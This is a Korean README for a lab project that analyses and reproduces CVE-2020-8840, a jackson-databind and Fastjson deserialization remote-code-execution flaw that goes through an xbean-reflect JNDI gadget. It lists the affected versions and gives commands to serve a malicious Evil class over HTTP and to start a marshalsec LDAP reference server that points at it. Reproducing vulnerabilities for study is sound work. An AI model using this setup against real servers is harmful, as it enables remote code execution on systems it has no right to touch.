
Jackson-databind 원격 코드 실행 취약점 (CVE-2020-8840) 분석 재현 환경 코드
Jackson-databind 원격 코드 실행 취약점 (CVE-2020-8840) 분석 및 재현 환경 코드.
프로젝트 포함:
jackson-databind, Fastjson의 페이로드marshalsec-0.0.3-SNAPSHOT-all.jarJackson-databind 원격 코드 실행 취약점 (CVE-2020-8840)은 공격자가 xbean-reflect의 이용 체인(org.apache.xbean.propertyeditor.JndiConverter)을 활용하여 JNDI 원격 클래스 로딩을 트리거함으로써 원격 코드 실행을 달성할 수 있습니다.
이 취약점은 일부 버전의 jackson-databind와 Fastjson에도 영향을 미칩니다.
영향 범위: 2.0.0 <= FasterXML jackson-databind <= 2.9.10.2

예제 코드에서 가리키는 LDAP 서비스는 직접 구축해야 합니다.
WebServer
HTTP 서비스를 열고 악성 클래스를 호스팅합니다 (프로젝트에 Evil.java 클래스가 포함되어 있음)
python -m http.server 2222

LDAP 서비스
Marshalsec 도구를 다운로드하여 jar로 컴파일하고, LDAP 서비스를 시작하며, codebase 주소(악성 클래스를 호스팅하는 WebServer)를 설정합니다.
편의를 위해 다운로드 및 컴파일 과정을 생략하고, 프로젝트에 marshalsec-0.0.3-SNAPSHOT-all.jar를 포함했습니다 (프로젝트 코드는 많지 않지만, 용량이 큰 주된 이유이며 JDK8에서 컴파일되었습니다).
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:2222/#Evil

영향 범위: Fastjson <= 1.2.62
재현 환경은 위와 동일하며, WebServer와 LDAP 서비스를 직접 구축 및 시작해야 합니다.
